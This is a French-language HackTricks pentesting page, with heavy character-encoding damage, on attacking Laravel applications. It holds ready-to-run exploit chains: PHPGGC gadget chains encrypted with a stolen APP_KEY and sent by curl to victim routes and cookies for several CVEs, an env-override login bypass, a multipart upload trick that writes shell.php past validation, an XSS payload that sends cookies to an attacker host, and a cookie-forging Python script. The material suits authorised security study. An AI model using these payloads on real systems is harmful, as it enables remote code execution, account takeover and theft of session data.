Laravel
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Laravel SQLInjection
Lisez les informations Ă propos de ceci ici: https://stitcher.io/blog/unsafe-sql-functions-in-laravel
APP_KEY & Encryption internals (Laravel \u003e=5.6)
Laravel utilise AES-256-CBC (ou GCM) avec intégrité HMAC en interne (Illuminate\\Encryption\\Encrypter).
Le texte chiffré brut qui est finalement envoyé au client est Base64 of a JSON object like:
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
encrypt($value, $serialize=true) va serialize() le plaintext par défaut, tandis que
decrypt($payload, $unserialize=true) va automatiquement unserialize() la valeur décryptée.
Par consĂ©quent tout attacker qui connaĂźt le secret de 32 octets APP_KEY peut crĂ©er un objet PHP sĂ©rialisĂ© chiffrĂ© et obtenir une RCE via les magic methods (__wakeup, __destruct, âŠ).
Minimal PoC (framework â„9.x):
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
Injectez la chaĂźne produite dans nâimporte quel sink decrypt() vulnĂ©rable (route param, cookie, session, âŠ).
laravel-crypto-killer đ§š
laravel-crypto-killer automatise lâensemble du processus et ajoute un mode bruteforce pratique :
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
Le script prend en charge de maniÚre transparente les payloads CBC et GCM et régénÚre le champ HMAC/tag.
Schémas vulnérables réels
| Projet | Sink vulnérable | Gadget chain |
|---|---|---|
| Invoice Ninja â€v5 (CVE-2024-55555) | /route/{hash} â decrypt($hash) | Laravel/RCE13 |
| Snipe-IT â€v6 (CVE-2024-48987) | XSRF-TOKEN cookie lorsque Passport::withCookieSerialization() est activĂ© | Laravel/RCE9 |
| Crater (CVE-2024-55556) | SESSION_DRIVER=cookie â laravel_session cookie | Laravel/RCE15 |
La procĂ©dure dâexploitation est toujours la suivante :
- Obtenir ou brute-force la
APP_KEY(32 octets). - Construire une gadget chain avec PHPGGC (par exemple
Laravel/RCE13,Laravel/RCE9ouLaravel/RCE15). - Chiffrer le gadget sérialisé avec laravel_crypto_killer.py et la
APP_KEYrécupérée. - Envoyer le ciphertext au sink vulnérable
decrypt()(paramĂštre de route, cookie, session âŠ) pour dĂ©clencher RCE.
Ci-dessous des one-liners concis dĂ©montrant le chemin dâattaque complet pour chaque CVE rĂ©el mentionnĂ© ci-dessus:
# Invoice Ninja â€5 â /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"
# Snipe-IT â€6 â XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
# Crater â cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
DĂ©couverte massive dâAPP_KEY via cookie brute-force
Parce que chaque rĂ©ponse Laravel fraĂźche dĂ©finit au moins 1 cookie chiffrĂ© (XSRF-TOKEN et gĂ©nĂ©ralement laravel_session), public internet scanners (Shodan, Censys, âŠ) leak millions of ciphertexts qui peuvent ĂȘtre attaquĂ©s hors ligne.
Key findings of the research published by Synacktiv (2024-2025):
- Dataset July 2024 » 580 k tokens, 3.99 % keys cracked (â23 k)
- Dataset May 2025 » 625 k tokens, 3.56 % keys cracked
-
1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
- Huge key reuse â the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, âŠ).
The private Go tool nounours pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.
CVE-2024-52301 â HTTP argv/env override â auth bypass
Quand PHPâs register_argc_argv=On (typique sur beaucoup de distros), PHP expose un tableau argv pour les requĂȘtes HTTP dĂ©rivĂ© de la query string. Les versions rĂ©centes de Laravel ont parsĂ© ces arguments âCLI-likeâ et ont pris en compte --env=<value> Ă lâexĂ©cution. Ceci permet de basculer lâenvironnement du framework pour la requĂȘte HTTP courante simplement en lâajoutant Ă nâimporte quelle URL:
-
Quick check:
-
Visitez
https://target/?--env=localou nâimporte quelle chaĂźne et cherchez des changements dĂ©pendant de lâenvironnement (debug banners, footers, verbose errors). Si la chaĂźne est reflĂ©tĂ©e, lâoverride fonctionne. -
Impact example (business logic trusting a special env):
-
Si lâapp contient des branches comme
if (app()->environment('preprod')) { /* bypass auth */ }, vous pouvez vous authentifier sans identifiants valides en envoyant le POST de login Ă : -
POST /login?--env=preprod -
Notes:
-
Fonctionne par requĂȘte, pas de persistance.
-
Nécessite
register_argc_argv=Onet une version vulnérable de Laravel qui lit argv pour HTTP. -
Primitive utile pour afficher des erreurs plus verbeuses dans des envs âdebugâ ou pour dĂ©clencher des chemins de code conditionnĂ©s par lâenvironnement.
-
Mitigations:
-
Désactiver
register_argc_argvpour PHP-FPM/Apache. -
Mettre Ă jour Laravel pour ignorer argv sur les requĂȘtes HTTP et supprimer toute hypothĂšse de confiance liĂ©e Ă
app()->environment()dans les routes de production.
Minimal exploitation flow (Burp):
POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf
CVE-2025-27515 â Contournement de la validation des fichiers gĂ©nĂ©riques (files.*)
Laravel 10.0â10.48.28, 11.0.0â11.44.0 and 12.0.0â12.1.0 permettent Ă des requĂȘtes multipart forgĂ©es dâignorer complĂštement toute rĂšgle attachĂ©e Ă files.* / images.*. Le parseur qui Ă©tend les clĂ©s gĂ©nĂ©riques peut ĂȘtre perturbĂ© par des placeholders contrĂŽlĂ©s par lâattaquant (par exemple, en prĂ©-remplissant des segments __asterisk__), si bien que le framework instancierait des objets UploadedFile sans jamais exĂ©cuter image, mimes, dimensions, max, etc. Une fois quâun blob malveillant arrive dans Storage::putFile*, vous pouvez basculer vers nâimporte lequel des primitives dâupload de fichiers dĂ©jĂ listĂ©es dans HackTricks (web shells, log poisoning, signed job deserialization, âŠ).
Hunting for the pattern
- Static:
rg -n "files\\.\*" -g"*.php" app/or inspectFormRequestclasses forrules()returning arrays that containfiles.*. - Dynamic: intercepter
Illuminate\Validation\Validator::validate()via Xdebug or Laravel Telescope en prĂ©-production pour enregistrer chaque requĂȘte qui atteint la rĂšgle vulnĂ©rable. - Middleware/route review: les endpoints traitant plusieurs fichiers (importateurs dâavatars, portails de documents, composants glisser-dĂ©poser) ont tendance Ă faire confiance Ă
files.*.
Practical exploitation workflow
- Capture a legitimate upload and replay it in Burp Repeater.
- Duplicate the same part but alter the field name so it already includes placeholder tokens (e.g.,
files[0][__asterisk__payload]) or nest another array (files[0][alt][0]). On vulnerable builds, that second part never gets validated but still becomes anUploadedFileentry. - Point the forged file to a PHP payload (
shell.php,.phar, polyglot) and force the application to store it in a web-accessible disk (commonlypublic/oncephp artisan storage:linkis enabled).
curl -sk https://target/upload \
-F 'files[0]=@ok.png;type=image/png' \
-F 'files[0][__asterisk__payload]=@shell.php;type=text/plain' \
-F 'description=lorem'
Keep fuzzing key names (files.__dot__0, files[0][0], files[0][uuid] âŠ) until you find one that bypasses the validator but still gets written to disk; patched versions reject these crafted attribute names immediately.
Astuces Laravel
Mode de débogage
Si Laravel est en mode de débogage vous pourrez accéder au code et aux données sensibles.
Par exemple http://127.0.0.1:8000/profiles:
.png)
Ceci est gĂ©nĂ©ralement nĂ©cessaire pour exploiter dâautres CVE RCE de Laravel.
CVE-2024-13918 / CVE-2024-13919 â reflected XSS dans les pages de debug Whoops
- AffectĂ©s : Laravel 11.9.0â11.35.1 avec
APP_DEBUG=true(soit globalement soit forcĂ© via des overrides env mal configurĂ©s comme CVE-2024-52301). - Principe : chaque exception non interceptĂ©e rendue par Whoops renvoie des parties de la requĂȘte/route sans encodage HTML, donc injecter
<img src>/<script>dans une route ou un paramĂštre de requĂȘte entraĂźne un XSS stockĂ© dans la rĂ©ponse avant authentification. - Impact : voler
XSRF-TOKEN, leak les traces de pile contenant des secrets, ouvrir un pivot cÎté navigateur pour atteindre_ignition/execute-solutiondans les sessions victimes, ou enchaßner avec des tableaux de bord sans mot de passe qui reposent sur des cookies.
Minimal PoC:
// blade/web.php (attacker-controlled param reflected)
Route::get('/boom/{id}', function ($id) {
abort(500);
});
curl -sk "https://target/boom/%3Cscript%3Efetch('//attacker/x?c='+document.cookie)%3C/script%3E"
MĂȘme si le mode debug est normalement dĂ©sactivĂ©, forcer une erreur via des background jobs ou des queue workers et sonder le endpoint _ignition/health-check rĂ©vĂšle souvent des hĂŽtes de staging qui exposent encore cette chaĂźne.
Fingerprinting & exposed dev endpoints
Vérifications rapides pour identifier une stack Laravel et des outils dev dangereux exposés en production :
/_ignition/health-checkâ Ignition prĂ©sent (outil de debug utilisĂ© par CVE-2021-3129). Sâil est accessible sans authentification, lâapplication peut ĂȘtre en mode debug ou mal configurĂ©e./_debugbarâ Laravel Debugbar assets ; indique souvent le mode debug./telescopeâ Laravel Telescope (dev monitor). Si public, attendez-vous Ă une large divulgation dâinformations et Ă des actions possibles./horizonâ Queue dashboard ; divulgation de la version et parfois actions protĂ©gĂ©es par CSRF.X-Powered-By, cookiesXSRF-TOKENetlaravel_session, et les pages dâerreur Blade aident aussi au fingerprinting.
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
.env
Laravel stocke lâAPP utilisĂ©e pour chiffrer les cookies et dâautres identifiants dans un fichier nommĂ© .env, accessible via un path traversal, par exemple : /../.env
Laravel affiche aussi ces informations dans la page de debug (qui apparaßt quand Laravel rencontre une erreur et que le mode debug est activé).
Avec la APP_KEY secrÚte de Laravel, vous pouvez déchiffrer et rechiffrer les cookies :
Déchiffrer le cookie
Outil d'aide pour déchiffrer/chiffrer les cookies (Python)
```python import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value)
def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic[âmacâ] value = bytes(dic[âvalueâ], âutf-8â) iv = bytes(dic[âivâ], âutf-8â) if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return ââ
def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, âutf-8â) value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {âivâ: iv.decode(), âvalueâ: value.decode(), âmacâ: mac} return base64.b64encode(bytes(json.dumps(dic), âutf-8â))
app_key =âHyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=â key = base64.b64decode(app_key) decrypt(âeyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9â) #bâ{âdataâ:âa:6:{s:6:"_token";s:40:"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV";s:8:"username";s:8:"guestc32";s:5:"order";s:2:"id";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}â,âexpiresâ:1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0eâ encrypt(bâ{âdataâ:âa:6:{s:6:"_token";s:40:"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw";s:8:"username";s:8:"guest60e";s:5:"order";s:8:"lolololo";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}â,âexpiresâ:1605141157}â)
</details>
### Laravel Deserialization RCE
Versions vulnérables : 5.5.40 et 5.6.x jusqu'à 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Vous pouvez trouver des informations sur la vulnérabilité de deserialization ici : [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Vous pouvez le tester et l'exploiter en utilisant [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Ou vous pouvez aussi l'exploiter avec metasploit : `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
Une autre deserialization : [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
## Références
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite dâAPP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC â PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [CVE-2024-52301 advisory â Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
* [CVE-2024-52301 PoC â register_argc_argv HTTP argv â --env override](https://github.com/Nyamort/CVE-2024-52301)
* [0xdf â HTB Environment (CVEâ2024â52301 env override â auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
* [GHSA-78fx-h6xr-vch4 â Laravel wildcard file validation bypass (CVE-2025-27515)](https://github.com/laravel/framework/security/advisories/GHSA-78fx-h6xr-vch4)
* [SBA Research â CVE-2024-13919 reflected XSS in debug-mode error page](http://www.openwall.com/lists/oss-security/2025/03/10/4)
> [!TIP]
> Apprenez et pratiquez le hacking AWS :<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez et pratiquez le hacking GCP : <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Apprenez et pratiquez le hacking Azure : <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenir HackTricks</summary>
>
> - Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
> - **Rejoignez le** đŹ [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépÎts github.
>
> </details>


